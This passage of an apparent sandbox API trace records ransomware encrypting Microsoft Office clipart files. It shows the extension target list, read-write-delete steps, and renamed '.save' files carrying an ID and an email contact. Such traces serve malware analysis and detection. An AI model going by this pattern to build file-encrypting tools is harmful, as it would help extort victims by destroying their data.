Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0162.268] lstrlenW (lpString=".doc") returned 4 [0162.268] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.268] lstrlenW (lpString=".docx") returned 5 [0162.268] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0162.268] lstrlenW (lpString=".pdf") returned 4 [0162.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.268] lstrlenW (lpString=".xls") returned 4 [0162.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.268] lstrlenW (lpString=".xlsx") returned 5 [0162.268] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0162.268] lstrlenW (lpString=".ppt") returned 4 [0162.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0162.268] lstrlenW (lpString=".zip") returned 4 [0162.268] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.268] lstrlenW (lpString=".rar") returned 4 [0162.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.268] lstrlenW (lpString=".bz2") returned 4 [0162.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.269] lstrlenW (lpString=".7z") returned 3 [0162.269] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0162.269] lstrlenW (lpString=".dbf") returned 4 [0162.269] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0162.269] lstrlenW (lpString=".1cd") returned 4 [0162.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0162.269] lstrlenW (lpString=".jpg") returned 4 [0162.269] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0162.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0162.269] lstrlenW (lpString=".doc") returned 4 [0162.269] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.269] lstrlenW (lpString=".docx") returned 5 [0162.269] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0162.269] lstrlenW (lpString=".pdf") returned 4 [0162.269] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.269] lstrlenW (lpString=".xls") returned 4 [0162.269] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.269] lstrlenW (lpString=".xlsx") returned 5 [0162.269] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0162.269] lstrlenW (lpString=".ppt") returned 4 [0162.269] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0162.269] lstrlenW (lpString=".zip") returned 4 [0162.269] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.270] lstrlenW (lpString=".rar") returned 4 [0162.270] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.270] lstrlenW (lpString=".bz2") returned 4 [0162.270] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.270] lstrlenW (lpString=".7z") returned 3 [0162.270] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0162.270] lstrlenW (lpString=".dbf") returned 4 [0162.270] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0162.270] lstrlenW (lpString=".1cd") returned 4 [0162.270] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0162.270] lstrlenW (lpString=".jpg") returned 4 [0162.270] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.270] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0162.270] lstrlenW (lpString="J0099187.JPG") returned 12 [0162.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0162.271] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=24528) returned 1 [0162.271] CloseHandle (hObject=0x3f8) returned 1 [0162.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 0x220 [0162.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0162.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0162.272] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.272] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0162.273] GetLastError () returned 0x0 [0162.273] ReadFile (in: hFile=0x3f8, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x5fd0, lpOverlapped=0x0) returned 1 [0162.290] WriteFile (in: hFile=0x3fc, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x5fe0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x5fe0, lpOverlapped=0x0) returned 1 [0162.292] ReadFile (in: hFile=0x3f8, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.292] WriteFile (in: hFile=0x3fc, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.292] SetEndOfFile (hFile=0x3fc) returned 1 [0162.293] CloseHandle (hObject=0x3fc) returned 1 [0162.293] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.293] SetEndOfFile (hFile=0x3f8) returned 1 [0162.297] CloseHandle (hObject=0x3f8) returned 1 [0162.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0162.297] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 1 [0162.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0162.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0162.298] lstrlenW (lpString=".doc") returned 4 [0162.298] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0162.298] lstrlenW (lpString=".docx") returned 5 [0162.298] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0162.298] lstrlenW (lpString=".pdf") returned 4 [0162.298] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0162.298] lstrlenW (lpString=".xls") returned 4 [0162.298] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0162.298] lstrlenW (lpString=".xlsx") returned 5 [0162.298] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0162.298] lstrlenW (lpString=".ppt") returned 4 [0162.298] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0162.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0162.299] lstrlenW (lpString=".zip") returned 4 [0162.299] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0162.299] lstrlenW (lpString=".rar") returned 4 [0162.299] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0162.299] lstrlenW (lpString=".bz2") returned 4 [0162.299] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0162.299] lstrlenW (lpString=".7z") returned 3 [0162.299] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0162.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0162.299] lstrlenW (lpString=".dbf") returned 4 [0162.299] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0162.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0162.299] lstrlenW (lpString=".1cd") returned 4 [0162.299] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0162.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0162.299] lstrlenW (lpString=".jpg") returned 4 [0162.299] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0162.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0162.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0162.299] lstrlenW (lpString=".doc") returned 4 [0162.299] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0162.299] lstrlenW (lpString=".docx") returned 5 [0162.299] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0162.299] lstrlenW (lpString=".pdf") returned 4 [0162.299] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0162.300] lstrlenW (lpString=".xls") returned 4 [0162.300] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0162.300] lstrlenW (lpString=".xlsx") returned 5 [0162.300] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0162.300] lstrlenW (lpString=".ppt") returned 4 [0162.300] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0162.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0162.300] lstrlenW (lpString=".zip") returned 4 [0162.300] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0162.300] lstrlenW (lpString=".rar") returned 4 [0162.300] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0162.300] lstrlenW (lpString=".bz2") returned 4 [0162.300] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0162.300] lstrlenW (lpString=".7z") returned 3 [0162.300] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0162.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0162.300] lstrlenW (lpString=".dbf") returned 4 [0162.300] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0162.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0162.300] lstrlenW (lpString=".1cd") returned 4 [0162.300] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0162.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0162.300] lstrlenW (lpString=".jpg") returned 4 [0162.300] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0162.301] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0162.301] lstrlenW (lpString="J0099188.JPG") returned 12 [0162.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0162.301] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=9080) returned 1 [0162.302] CloseHandle (hObject=0x3f8) returned 1 [0162.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 0x220 [0162.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x464 [0163.934] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.934] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0163.935] GetLastError () returned 0x0 [0163.935] ReadFile (in: hFile=0x464, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x2378, lpOverlapped=0x0) returned 1 [0163.937] WriteFile (in: hFile=0x49c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2380, lpOverlapped=0x0) returned 1 [0163.939] ReadFile (in: hFile=0x464, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.939] WriteFile (in: hFile=0x49c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0163.939] SetEndOfFile (hFile=0x49c) returned 1 [0163.939] CloseHandle (hObject=0x49c) returned 1 [0163.939] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.939] SetEndOfFile (hFile=0x464) returned 1 [0163.942] CloseHandle (hObject=0x464) returned 1 [0163.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0163.943] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 1 [0163.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0163.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0163.944] lstrlenW (lpString=".doc") returned 4 [0163.944] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0163.944] lstrlenW (lpString=".docx") returned 5 [0163.944] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0163.944] lstrlenW (lpString=".pdf") returned 4 [0163.944] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0163.944] lstrlenW (lpString=".xls") returned 4 [0163.944] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0163.944] lstrlenW (lpString=".xlsx") returned 5 [0163.944] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0163.944] lstrlenW (lpString=".ppt") returned 4 [0163.944] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0163.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0163.944] lstrlenW (lpString=".zip") returned 4 [0163.944] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0163.945] lstrlenW (lpString=".rar") returned 4 [0163.945] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0163.945] lstrlenW (lpString=".bz2") returned 4 [0163.945] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0163.945] lstrlenW (lpString=".7z") returned 3 [0163.945] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0163.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0163.945] lstrlenW (lpString=".dbf") returned 4 [0163.945] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0163.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0163.945] lstrlenW (lpString=".1cd") returned 4 [0163.945] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0163.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0163.945] lstrlenW (lpString=".jpg") returned 4 [0163.945] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0163.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0163.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0163.945] lstrlenW (lpString=".doc") returned 4 [0163.945] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0163.945] lstrlenW (lpString=".docx") returned 5 [0163.945] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0163.945] lstrlenW (lpString=".pdf") returned 4 [0163.945] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0163.945] lstrlenW (lpString=".xls") returned 4 [0163.945] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0163.945] lstrlenW (lpString=".xlsx") returned 5 [0163.945] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0163.946] lstrlenW (lpString=".ppt") returned 4 [0163.946] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0163.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0163.946] lstrlenW (lpString=".zip") returned 4 [0163.946] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0163.946] lstrlenW (lpString=".rar") returned 4 [0163.946] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0163.946] lstrlenW (lpString=".bz2") returned 4 [0163.946] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0163.946] lstrlenW (lpString=".7z") returned 3 [0163.946] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0163.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0163.946] lstrlenW (lpString=".dbf") returned 4 [0163.946] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0163.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0163.946] lstrlenW (lpString=".1cd") returned 4 [0163.946] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0163.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0163.946] lstrlenW (lpString=".jpg") returned 4 [0163.946] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0163.946] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0163.946] lstrlenW (lpString="J0099200.GIF") returned 12 [0163.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x464 [0163.947] GetFileSizeEx (in: hFile=0x464, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=16543) returned 1 [0163.947] CloseHandle (hObject=0x464) returned 1 [0163.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 0x220 [0163.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x464 [0163.948] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.948] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0163.949] GetLastError () returned 0x0 [0163.949] ReadFile (in: hFile=0x464, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x409f, lpOverlapped=0x0) returned 1 [0163.952] WriteFile (in: hFile=0x49c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x40a0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x40a0, lpOverlapped=0x0) returned 1 [0163.953] ReadFile (in: hFile=0x464, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.953] WriteFile (in: hFile=0x49c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0163.953] SetEndOfFile (hFile=0x49c) returned 1 [0163.954] CloseHandle (hObject=0x49c) returned 1 [0163.954] SetFilePointerEx (in: hFile=0x464, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.954] SetEndOfFile (hFile=0x464) returned 1 [0163.972] CloseHandle (hObject=0x464) returned 1 [0163.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0163.973] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 1 [0163.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0163.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0163.974] lstrlenW (lpString=".doc") returned 4 [0163.974] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0163.974] lstrlenW (lpString=".docx") returned 5 [0163.974] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0163.974] lstrlenW (lpString=".pdf") returned 4 [0163.974] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0163.974] lstrlenW (lpString=".xls") returned 4 [0163.974] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0163.974] lstrlenW (lpString=".xlsx") returned 5 [0163.974] lstrcmpiW (lpString1=".xlsx", 